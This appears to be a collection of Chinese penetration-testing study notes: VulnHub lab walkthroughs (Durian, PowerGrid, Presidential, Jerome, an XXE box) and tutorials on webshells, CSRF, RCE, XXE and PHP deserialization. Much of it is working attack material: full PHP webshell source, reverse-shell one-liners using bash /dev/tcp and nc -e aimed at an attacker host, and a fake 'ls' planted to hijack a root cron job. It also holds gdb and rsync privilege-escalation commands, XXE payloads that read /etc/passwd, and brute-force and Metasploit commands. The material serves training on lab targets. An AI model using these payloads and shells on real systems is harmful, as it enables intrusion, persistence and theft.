3、此监听不可以使用回退
使用rlwrap nc -lvvp 8888
但是不是交互式的命令
八、?提权
www为安装Apache内置用户,权限相对于普通用户来说较低
1、开启交互式命令
python3 -c 'import pty; pty.spawn("/bin/bash")'
2、查看用户
进入/home
目录,发现用户durian
ls -al
drwxr-xr-x 2 durian durian 4096 Sep 8 2020 .
drwxr-xr-x 3 root root 4096 Sep 7 2020 ..
-rw------- 1 durian durian 31 Sep 8 2020 .bash_history
-rw-r--r-- 1 durian durian 220 Sep 7 2020 .bash_logout
-rw-r--r-- 1 durian durian 3526 Sep 7 2020 .bashrc
-rw-r--r-- 1 durian durian 807 Sep 7 2020 .profile
3、查看权限
sudo -l
(root) NOPASSWD: /sbin/shutdown
(root) NOPASSWD: /bin/ping
ls -al /sbin/shutdown
lrwxrwxrwx 1 root root 14 Apr 27 2020 /sbin/shutdown -> /bin/systemctl
ls -al /bin/systemctl
-rwxr-xr-x 1 root root 868696 Apr 27 2020 /bin/systemctl
4、下载提权工具
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
./linpeas.sh > 123123.txt #输出结果输出到123123.txt
python3 -m http.server 6666 # Durian发送文件到kali
wget http:192.168.184.137:6666/123123.txt #kali下载文件
5、扫描出可以使用的命令
6、检测出的漏洞
扫描出的CVE对可尝试使用
# 下载攻击脚本
https://codeload.github.com/blasty/CVE-2021-3156/zip/main
7、使用gdb
工具
- 简称「GDB 调试器」,是 Linux 平台下最常用的一款程序调试器。GDB 编译器通常以 gdb 命令的形式在终端(Shell)中使用
- 是作反编译的工具,和内核进行通讯,所以
gdb
的权限会非常大
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
# -ex 代表回车
# -nx 不指定前缀命令(不从任何gdbint初始化文件中执行命令)
发现虽然没有显示用户名,但是提权成功
8、开启交互式
python3 -c 'import pty; pty.spawn("/bin/bash")'
- 获取Flag
SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b
WebShell原理与使用
一、?基本信息
1、概念
具有一定功能的,代码页面,可以通过文件上传漏洞进行部署,具备文件读写、命令执行等功能的web程序
2、分类
-
大马
- 具有比较全面的功能,单页面的钼靶程序
-
小马
- 具有部分或单一功能的木马程序
-
一句话木马
- 配合客户端使用的一类木马程序
-
特殊功能木马
- 数据库管理、建立网络连接
3、一句话木马的不同写法(PHP)
<?php eval($_REQUEST['aaa']);?> 同时可以在POST或GET接收参数进行执行
<?php eval($_POST['aaa']);?> 传统的一句话木马
<?php eval($_GET['aaa']);?> //基于GET的手工测试一句话木马
二、?客户端
1、中国菜刀
传统的一句话木马客户端
①、优点
- 开箱即用、小巧、灵活、兼容最原始的一句话
②、缺点
- 传输的时候使用明文或简单编码、传输过程未进行加密
2、中国蚁剑
①、优点
- 功能全面、兼容传统一句话木马、传输过程提供编码配置、稳定性强、具有后渗透功能
②、缺点
- 不具备数据传输过程的加密处理,体积庞大,容易出现BUG
3、哥斯拉
①、优点
- 传输过程全加密,很难进行审计,功能相对全面,工具使用java编写,兼容型好
②、缺点
- 不兼容传统的一句话木马
三、?大马
1、部署环境
2、操作MySQL
- 获取MySQL密码
- 登录
3、操作系统命令
四、?小马
- 通常使用小马做驻留
- 需要执行大马的时候,上传大马
1、源代码
<?php
header("content-Type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
<?php
if(isset($_POST['file']))
{
$fp = @fopen($_POST['file'],'wb');
echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失败!';
@fclose($fp);
}
?>
2、执行
上传成功
五、?一句话木马
1、源码
<?php @eval($_REQUEST['Yang']);?>
/*
eval可以将括号里的内容作为代码执行
Yang被称为密码
@符号可以屏蔽报错
*/
2、访问
会发现页面为空,需要给
Yang
赋值才有回显
http://192.168.184.1/one.php?Yang=phpinfo();
http://192.168.184.1/one.php?Yang=system('dir');
六、?菜刀
1、打开方式
-
cmd
打开java -jar Cknife.jar
-
客户端打开
2、使用介绍
3、启动虚拟终端
4、启动数据库
- 获取数据的时候需要输入对应指令
select * from pikachu.users
5、缺点
- 返回值不做处理,waf可以通过返回的特殊词拦截
- 发送的值包含敏感函数
七、?蚁剑
1、连接
2、拓展
- 增加隐蔽性
3、特点
- 不光加密,并且添加在数据前和数据后添加其他数据
- 但是函数名称还会保留,容易被waf拦截
八、?哥斯拉
1、执行
java -jar godzilla.jar
- 生成加密文件
2、攻击
- 上传到文件目录下
- 添加目标
可以发现发送的数据包和返回的数据包都进行了加密
返回的数据都会添加随机的前缀和后缀
3、特点
- 只能基于文件发现漏洞
- 通过流量无法检测
九、?PHP加密
http://www.phpjm.net/
十、?防护工具
1、D_safe
2、WebShellKill
?PowerGrid-1.0.1
一、?靶机信息
#靶机地址
http://www.vulnhub.com/entry/powergrid-101,485/
#参考文档
https://www.hackingarticles.in/powergrid-1-0-1-vulnhub-walkthrough/
二、?获取端口信息
1、获取IP
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 3 180 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 2 120 VMware, Inc.
192.168.184.138 00:0c:29:9b:a5:f9 2 120 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
2、查看端口信息
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.2.16 ((Debian))
三、?查看端口信息
1、查看80端口
获取到三个用户名deez1, p48 and all2
四、?目录扫描
gobuster dir -u http://192.168.184.138 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 20 -x php
#可以使用更大的字典进行扫描
gobuster dir -u http://192.168.184.138 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php
/.htaccess.php (Status: 403) [Size: 280]
/.htaccess (Status: 403) [Size: 280]
/.htpasswd.php (Status: 403) [Size: 280]
/.htpasswd (Status: 403) [Size: 280]
/images (Status: 301) [Size: 319] [--> http://192.168.184.138/images/]
/index.php (Status: 200) [Size: 3645]
/server-status (Status: 403) [Size: 280]
/zmail (Status: 401) [Size: 462]
查看/zmail
五、?暴力破解
1、抓取数据包
2、解码
Decode as Base64
3、爆破
- 设置爆破密码
- 编码
p48:electrico
- 也可使用Hydra
Hydra -L /tmp/user.txt -P /tmp/pwasswd.txt -f 192.168.184.138 http-get /zmail
六、?登录
可以读取一封电子邮件,其中我们在PGP中有一个加密消息,但是为了能够以普通方式读取其内容,我们需要私钥和密码。它很可能是相同的密码,因为此用户已对多个服务重复使用相同的密码。
查看版本和版本漏洞
https://www.exploit-db.com/exploits/40892
searchsploit Roundcube
locate php/webapps/40892.txt
/usr/share/exploitdb/exploits/php/webapps/40892.txt
cat /usr/share/exploitdb/exploits/php/webapps/40892.txt
七、?恶意代码
1、编辑邮件
2、拦截数据并修改
- 原始数据
- 修改后的数据
3、测试
发现植入成功
八、?一句话木马登录
发现第一个Flag
九、?反弹Shell
1、kali监听
rlwrap nc -lvvp 8888
2、反弹
bash -c 'exec bash -i &>/dev/tcp/192.168.184.128/8888 <&1'
3、开启交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'
十、?提权
1、进入p48
密码公用
我们在他的文件夹“ /home/ ”中找到了gpg 私钥(请记住,这是我们唯一缺少的能够破译文本的密钥) )。
2、查看当前权限
3、拷贝私钥
scp privkey.gpg root@192.168.184.128:/tmp/
4、解密获取到私钥
- 方式一
https://www.igolder.com/PGP/decryption/
- 方式二
gpg --import privkey.gpg #密钥
gpg --decrypt massage > id_rsa #需要解密的文件(邮件里获取到的key)
5、修改权限
chmod 600 id_rsa
6、查看进程
因为获取到了远程登陆的私钥,但是并没有开启22端口,所以查看是否存在Dcoker
我们发现没有打开 SSH 服务,我们记住了“ pivot ”跟踪,检查了连接并找到了一个由“ docker ”工作的服务。
我们为私钥授予 600 权限,并使用它通过 SSH 连接到 docker 并读取第二个标志和下一个提示。
7、查看docker网卡
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.112 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.031 ms
sent 434, rcvd 21062
8、私钥登录
需要用私钥尝试登录
scp root@192.168.184.128:/tmp/id_rsa /tmp/
- 修改权限
如果不修改权限,SSH会报权限太高的错误
chmod 600 id_rsa
- 登录
ssh -i id_rsa p48@172.17.0.2
发现Flag2
047ddcd1f33dfb7d80da3ce04e89df73
Well done for getting flag 2. It looks like this user is fairly unprivileged.
十一、?获取更高权限
1、查看当前的权限
#rsync固定提权语句
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
发现Flag3
009a4ddf6cbdd781c3513da0f77aa6a2
Well done for getting the third flag. Are you any good at pivoting backwards?
2、查看root/.ssh/
目录下是否有SSH私钥
cd /root/.ssh
ls
ssh -i id_rsa root@172.17.0.1
3、登录原主机
目前所在的Docker0.2,主机为0.1,通过Docker里的私钥返回登录主机
ssh -i id_rsa root@172.17.0.1
发现Flag4
网页端的爆破,一般的密码字典很难跑出来,而rockyou这个密码字典又很大,如果不耐心等待的话很难爆破出来。
这台靶机还运行着docker,就相当于有两台靶机
CSRF漏洞原理与利用
一、?概念
攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)–通过JS实现,或者第三方网站触发
二、?攻击过程
三、?基于GET的CSRF攻击
1、需要用户登录系统
2、拦截数据进行分析
只要包含正确的Cookie值,密码就可以被修改,但是如果修改了Cookie值以后,就不可以正常访问
3、构造跨站访问页面
- 生成代码
- 编写为HTML页面,并部署到Kali Web服务中
python3 -m http.server 808
4、在原始网站登录的情况下,访问CSRF文件
会发现修改成功
四、?基于POST的CSRF攻击
五、?基于Token的CSRF防护
1、通过抓包,我们发现每次访问都与要一个token值
2、这种方法需要结合XSS漏洞,对浏览器进行挟持,然后读取当前页面中的源代码,获取token
3、使用获取的token值,组合csrf攻击语句,然后让目标浏览器自动跳转并执行攻击页面
RCE远程命令执行漏洞
一、概念
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
二、命令执行
1、常见函数
system()
exec()
2、利用方法
通常使用操作系统命令执行中的,与或非关系进行连带命令执行
ping 127.0.0.1 | whoami
3、实例
192.168.184.1 && ipconfig
三、代码执行
1、常见函数
evel()
2、利用方法
输入命令执行函数语句即可
system('whoami');
3、实例
system('dir');
不安全的文件下载
任意文件下载
1、抓取数据包
观察发现和文件包含类似
2、在根目录下创建test测试文件
3、尝试修改数据包
目录遍历漏洞
敏感信息泄露
敏感信息泄露
一般出现在代码中的注释信息,可能存在信息泄露额情况
不安全的URL跳转
192.168.184.1/Pikachu/vul/urlredirect/urlredirect.php?url=https://www.baidu.com
SSRF漏洞
通过服务器对内部网络进行探测的一种攻击方法。
将?链接读取出来,利用文本框显示
当我们访问Server的80端口时,其实访问的是Server映射到WAF上的端口,当存在SSRF漏洞时可以通过Server探测内网情况,访问到Server2
?Presidential:1
一、靶机信息
#靶机
http://www.vulnhub.com/entry/presidential-1,500/
#参考
https://www.freebuf.com/articles/network/246534.html
二、基本信息
1、获取IP
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 2 120 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 1 60 VMware, Inc.
192.168.184.140 00:0c:29:be:e8:28 1 60 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
2、获取开放端口
nmap -sC -sV -p- 192.168.184.140 -vv -n --min-rate=2000
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) PHP/5.5.38)
2082/tcp open ssh syn-ack ttl 64 OpenSSH 7.4 (protocol 2.0)
三、访问80端口
不同的80端口,在不同域名访问的时候,返回的可能为不同的界面
发现邮箱信息,保留,可能为域名信息
contact@votenow.local
四、目录探测
gobuster dir -u http://192.168.184.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php
/assets (Status: 301) [Size: 238] [--> http://192.168.184.140/assets/]
/config.php (Status: 200) [Size: 0]
更换字典查看是否有漏扫
gobuster dir -u http://192.168.184.140 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 20 -x php
/assets (Status: 301) [Size: 238] [--> http://192.168.184.140/assets/]
/cgi-bin/ (Status: 403) [Size: 210]
/config.php (Status: 200) [Size: 0]
访问/config.php
,发现为空白界面
五、绑定域名
vim /etc/hosts
六、漏洞探测
nikto -h http://votenow.local
发现3个漏洞
OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
OSVDB-3268: /icons/: Directory indexing found.
OSVDB-3233: /icons/README: Apache default file found.
XXE漏洞原理与利用
一、概念
1、什么是 XML?
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
- XML 指可扩展标记语言(EXtensible Markup Language)。
- XML 是一种很像HTML的标记语言。
- XML 的设计宗旨是传输数据,而不是显示数据。
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准。
2、XML 和 HTML 之间的差异
-
XML 不是 HTML 的替代。
-
XML 和 HTML 为不同的目的而设计:
- XML 被设计用来传输和存储数据,其焦点是数据的内容。
- HTML 被设计用来显示数据,其焦点是数据的外观。
-
HTML 旨在显示信息,而 XML 旨在传输信息。
3、XML 不会做任何事情
- XML 被设计用来结构化、存储以及传输信息。
二、注入文本
<?xml version="1.0" encoding="UTF-8" ?> <!--声明为XML的变量-->
<!DOCTYPE ANY [<!ENTITY xxe "abcde" >]> <!--定义了xxe的值-->
<value>&xxe;</value> <!--显示xxe的值-->
三、抓包情况
URL-decode
- 直接发送会显示失败
- 原因:编码问题
四、读取文本内容
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///d://1.txt" >]> <!--读取文件传送给xxe-->
<value>&xxe;</value>
1、编写测试文档
2、读取内容
3、php组件
如果开启了此组件,XXE可以使用php://
执行部分的PHP语句,常用的为Base64转换
读取源码的时候,有时候会有标签,如果不进行转换,服务器会先执行,再赋值给对应的变量,所以需要先转换,赋值后再解码
php -r 'system("ls");'
php -r 'echo phpinfo();'
?XXE靶机
一、基本信息
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.27 ((Ubuntu))
5355/tcp open llmnr? syn-ack ttl 1
二、访问80端口
Apache2的默认页,证明开启了Apache的服务,我们尝试探测目录
三、目录扫描
# 指定字典扫描
feroxbuster -u http://192.168.184.141 -w /usr/share/seclists/Discovery/Web-Content/big.txt
403 GET 11l 32w 299c http://192.168.184.141/.htpasswd
200 GET 375l 964w 10918c http://192.168.184.141/
403 GET 11l 32w 299c http://192.168.184.141/.htaccess
200 GET 6l 10w 76c http://192.168.184.141/robots.txt
403 GET 11l 32w 303c http://192.168.184.141/server-status
1、查看robots.txt
文件
限制爬虫,但是有时可以让我们了解到目录结构
2、查看到两个Web网页
3、扫描xxe
目录
feroxbuster -u http://192.168.184.141/xxe -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php
301 GET 9l 28w 320c http://192.168.184.141/xxe/img => http://192.168.184.141/xxe/img/
200 GET 94l 189w 2468c http://192.168.184.141/xxe/admin.php
301 GET 9l 28w 324c http://192.168.184.141/xxe/scripts => http://192.168.184.141/xxe/scripts/
301 GET 9l 28w 316c http://192.168.184.141/xxe => http://192.168.184.141/xxe/
403 GET 11l 32w 294c http://192.168.184.141/.php
301 GET 9l 28w 323c http://192.168.184.141/xxe/styles => http://192.168.184.141/xxe/styles/
200 GET 209l 465w 5460c http://192.168.184.141/xxe/index.php
403 GET 11l 32w 298c http://192.168.184.141/xxe/.php
301 GET 9l 28w 330c http://192.168.184.141/xxe/styles/images => http://192.168.184.141/xxe/styles/images/
301 GET 9l 28w 327c http://192.168.184.141/xxe/scripts/ie => http://192.168.184.141/xxe/scripts/ie/
403 GET 11l 32w 305c http://192.168.184.141/xxe/styles/.php
403 GET 11l 32w 306c http://192.168.184.141/xxe/scripts/.php
四、登录抓取数据包
1、抓包分析
发现为XML
五、构造XML语句
1、测试
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY Yang SYSTEM "file:///etc/passwd">]>
<root><name>&Yang;</name><password>hj</password></root>
因为网页端会显示用户名,所以说才修改用户名
2、爆破目录
3、读取源码
读取admin.php
的源码,转换为Base64,确保数据传输
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY Yang SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">]>
<root><name>&Yang;</name><password>hj</password></root>
4、解码
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
获取到账户名和密码
administhebest
admin@123
六、登录
1、访问Flag
http://192.168.184.141/xxe/flagmeout.php
2、查看源码
<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->
3、解码
- 先通过Base32解码,在通过Base64解码
4、发现/etc/.flag.php
,查看源码
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY Yang SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]>
<root><name>&Yang;</name><password>hj</password></root>
5、解码
是一种特殊的加密方式,可以尝试去运行这个文件
七、访问加密文件
因为是php文件,所以增加php前缀
将文件上传到PHPstudy,访问
成功获取Flag
逻辑漏洞
一、水平越权
1、概念
在同一权限级别下的不同账号之间,可以进行无限制的数据访问或功能执行
2、分析数据包
- 源代码
- 修改数据
访问到了其他用户的信息
二、垂直越权
1、概念
低权限用户可以访问高权限用户数据或者执行高权限功能的一种情况
2、分析
- 登录普通用户账号
- 登录管理员账号
虽然普通用户没有添加用户的权限,但是当普通用户访问添加用户页面的时候,也可以执行权限
测试权限,添加成功
?Jerome-v1.0.1
一、靶机信息
#靶机
https://www.vulnhub.com/entry/sp-jerome-v101,303/
#参考
https://www.hackingarticles.in/spjerome-vulnhub-walkthrough/
二、端口扫描
8080/tcp open http-proxy syn-ack ttl 64 Squid http proxy 3.5.27
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.27
发现只有运行 squid 代理的端口 8080 处于打开状态
三、探测目录
服务器对外只开放8080,如果想访问Server的80端口或者是其他服务器的80端口,需要用服务器做代理,才可以访问
feroxbuster -u http://127.0.0.1 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php --proxy http://192.168.184.142:8080
200 GET 1l 4w 19c http://127.0.0.1/
200 GET 465l 937w 0c http://127.0.0.1/server-status
四、添加代理
五、访问server-status
发现还开放了一个端口1337
六、探测1337端口
301 GET 0l 0w 0c http://127.0.0.1:1337/wordpress/index.php => http://127.0.0.1:1337/wordpress/
访问
访问到了内网的服务
使用WordPress,存在通用的指纹识别方法,wp-admin
为登录界面
七、wpscan
针对WordPress的扫描
1、基础扫描
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u
-e u:枚举用户名
[+] root
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] jerome
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
发现两个用户名
-
root
-
jerome
2、可以增加api获得更详细的资料
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u --api-token
- 扫描出更多的漏洞
3、密码破解
wpscan --url http://127.0.0.1:1337/wordpress --proxy http://192.168.184.142:8080 -e u -P /tmp/passwd.txt -U /tmp/user.txt
[!] Valid Combinations Found:
| Username: jerome, Password: jerome
得到账号和密码Username: jerome, Password: jerome
八、msfconsole
- 配置攻击目标的信息
1、搜索
search wp_crop_rce
2、进入use0
show options #查看配置
set rhosts 127.0.0.1
set rport 1337
set TARGETURI /wordpress
set USERNAME jerome
set PASSWORD jerome
set Proxies http:192.168.184.142:8080
set ReverseAllowProxy true
- 查看当前配置
show options
run执行
拿到权限
3、查看能执行那些命令
?
4、查看系统情况
sysinfo
meterpreter > sysinfo
Computer : jerome
OS : Linux jerome 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64
Meterpreter : php/linux #后门程序所使用的语言
九、提权
1、先进入家目录,发现Flag
2、进入系统级别的Shell
shell -t
3、查看自启动文件
cat /etc/crontab
发现自启动文件/usr/share/simulate.sh
,查看此脚本
meterpreter > cat simulate.sh
#
# This script simulates human behaviour from the root account
#
while true
do
cd /home/jerome;
ls;
sleep 120;
done
#下载此脚本
download simulate.sh
4、提权
分析自启动文件里的simulate
脚本,发现会在加目录以root的权限执行ls
,所以我们在家目录创建ls脚本,编写ls脚本,因为在当前目录下,执行ls的时候,会优先执行当前文件夹下的命令
在家目录中追加ls,写入nc调用命令
shell -t #开启交互式
echo "nc -e /bin/bash 192.168.184.128 8888" >> ls #用nc调用命令链接kali,写入到ls文件,反弹shell
chmod 777 ls
chmod 777 ls
变为所有人可执行
5、kali监听8888
rlwrap nc -lvvp 8888
等待120s以后,脚本执行成功
python3 -c 'import pty; pty.spawn("/bin/bash")' #开启交互式
反序列化漏洞与原理
一、概念
利用了反序列化技术,注入了某些数据,从而触发了程序中的其他漏洞,触发了SQL注入、命令执行等
把字节序列恢复为对象的过程称为对象的反序列化。当两个进程在进行远程通信时,彼此可以发送各种类型的数据,而且无论是何种类型的数据,都会以二进制序列的形式在网络上传送。
二、序列化与反序列化函数讲解
1、PHP-序列化函数 serialize()
2、PHP-反序列化函数 unserialize()
三、分类
1、字符串
2、数字
存储数字的二进制长度是固定的,所以不需要长度
3、大型数字
会转换为科学计数法,但是会损失一定的精度
4、有类
- 有类的情况下,不光可以返回对应的值,还会触发这个类,并且通过模式方法执行
- 可以通过反序列化调用不用的类触发不同的功能
有类的序列化
O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O 是一个类
1 代表类名的长度
S 类名
1 参数数量
{} 具体的参数序列化值
四、魔术方法
__construct()
//创建对象时触发
__destruct()
//对象被销毁时触发
__call()
//在对象上下文中调用不可访问的方法时触发
__callStatic()
//在静态上下文中调用不可访问的方法时触发
__get()
//用于从不可访问的属性读取数据
__set()
//用于将数据写入不可访问的属性
__isset()
//在不可访问的属性上调用isset()或empty()触发
__unset()
//在不可访问的属性上使用unset()时触发
__invoke()
//当脚本尝试将对象调用为函数时触发
五、实验
O:1:"S":1:{s:4:"test";s:30:"<script>alert('Yang')</script>";}
可以通过不同的序列化的值调用不同的函数
六、CTF1
1、题目
<?php
error_reporting(0);
include "flag.php";
$KEY = "hahaha";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo $flag;
}
show_source(__FILE__);
?>
2、将hahaha
序列化
s:6:"hahaha";
3、将序列化后的值注入
七、CTF2
1、题目
2、抓取数据包,查找参数
3、访问hint
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") #此时的KEY是空值
{
echo $flag;
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
4、赋予空值
s:0:"";
八、CTF3
1、题目
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed1!");
} else {
$this->output("Failed2!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename,FILE_USE_INCLUDE_PATH);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
2、序列化
<?php
class FileHandler {
public $op = '4';
public $filename = 'glag.php';
public $content = 'YikJiang';
}
$aaa = new FileHandler;
echo serialize($aaa);
?>
O:11:"FileHandler":3:{s:2:"op";s:1:"4";s:8:"filename";s:8:"glag.php";s:7:"content";s:8:"YikJiang";}
3、分析代码
function __destruct() {
if($this->op === "2") #等于2的话修改为1,所以无法进入process,所以利用===和==的区别,修改为 2,这样可以跳过===,而==可以正确匹配
$this->op = "1";
$this->content = ""; #无论写什么都会变为空,所以不可以进行写操作
$this->process();
}
===等于号表示严格匹配,而process()
方法里的只有两个=,代表正常匹配,我们可以将 空格2 序列化,这样的话此代码结果为Flash,就可以跳过
<?php
class FileHandler {
public $op = ' 2';
public $filename = 'flag.php';
public $content = '';
}
$aaa = new FileHandler;
echo serialize($aaa);
?>
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
PHP版本7.2.10,此时相当于拿取到了Flag
初级代码审计
一、基础概念
1、什么是代码审计
代码审计,是对应用程序源代码进行系统性检查的工作。
2、为什么做代码审计
- 提前发现问题,如逻辑错误、系统漏洞、恶意后门程序。
- 代码的优化。
- 在正式上线之前,解决漏洞和逻辑错误,避免损失。
3、漏洞形成的条件
- 参数(变量),可以控制的变量
- 函数(方法),有利用价值的函数
二、思路
- 根据敏感关键字, 回溯参数传递过程
- 查找可控变量,正向追踪变量传递过程
- 寻找敏感功能点, 自建函数审查,通用风险函数审查,通读功能点代码
- 借助工具,自动化通读全文代码,并挖掘风险代码
三、常见的输出函数
1、echo()
输出一个字符串或变量,但是不能输出数组。
2、print_r()
输出一个数组
3、var_dump()
输出一个变量的结构,这个变量包含普通变量、数组、对象等
<?php
$cars=array("Lebron","James","King");
var_dump ($cars);
?>
array(3) {
[0]=>
string(6) "Lebron"
[1]=>
string(5) "James"
[2]=>
string(4) "King"
}
四、获取当前进程所有变量/函数/常量/类
1、get_defined_vars(void)
此函数返回一个包含当前可用的变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。在函数中使用此函数可以调试函数中的变量,而不会返回其他的变量。
2、$GLOBALS
变量
此函数返回所有全局变量
3、get_defined_functions(void)
获取所有已经定义的函数,包含内部函数和用户定义的函数。
4、输出用户定义的函数方法
$hhh=get_defined_funtions();
var_dump($hhh['user']);
5、get_defined_constants(void)
返回所有可用的常量,包含系统常量和用户定义的常量。
6、get_declared_classes(void)
返回所有可用的类,包含系统类和用户定义的类。
7、get_included_files()
返回包含的文件路径的数组,included 和 required 的包含文件
8、php 断点调试方法
exit
或 die
输出一个消息并退出程序执行。
五、可能出现漏洞的函数
1、文件包含 —> 包含漏洞
include、include_once、require、require_onceinclude/require
2、代码执行 —>执行任意代码漏洞
3、命令执行 —> 执行任意命令漏洞
4、文件系统操作 —>文件(目录)读写等漏洞
5、数据库操作 —> SQL注射漏洞
6、数据显示 —> XSS等客户端漏洞
六、环境变量
$GLOBALS 全局调用
$_SERVER 访问信息获取
$_REQUEST 全部接受
$_POST 接受POST
$_GET 接受GET
$_FILES 文件上传
$_ENV 系统环境变量
$_COOKIE 处理COOKIE
$_SESSION 处理SESSION
1、$GLOBALS
<?php
//$GLOBALS说明全局变量
//由于 z 是 $GLOBALS 数组中的变量,因此在函数之外也可以访问它。
$x = 75;
$y = 25;
function test() {
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
test();
echo $z."<hr>";
?>
----------------------------------------
100
2、$_REQUEST
<?php
//REQUEST说明 全接收
$g=@$_GET['g'];
$p=@$_POST['p'];
$c=@$_COOKIE['c'];
$r=@$_REQUEST['r'];
echo $g."<br>";
echo $p."<br>";
echo $c."<br>";
echo $r."<hr>";
?>
- GET赋值
